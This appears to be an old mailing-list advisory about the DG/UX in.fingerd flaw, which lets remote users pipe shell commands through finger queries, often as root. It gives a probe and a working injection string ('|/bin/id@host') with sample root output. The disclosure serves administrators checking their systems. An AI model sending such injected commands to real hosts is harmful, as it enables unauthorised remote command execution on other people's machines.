dgux in.fingerd vulnerability

[gti () HOPI DTCC EDU (George Imburgia)]

Another old bug that won't die.

The finger daemon that ships with dgux will allow a remote user to pipe
commands, often with uid root or bin.

To check for this vulnerability, simply use the RFC compliant syntax;

finger /W@host

If it returns something like this, it may be vulnerable;

Login name: /W                          In real life: ???

To see the uid in.fingerd is running as, try this;

finger "|/bin/id@host"

Often, you will see something like this;

uid=0(root) gid=0(root)

or;

uid=2(bin) gid=2(bin) groups=2(bin),3(sys),5(mail)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= George Imburgia                       =
= Network Specialist, Computer Services =
= Office of the President               =
= Delaware Tech                         =
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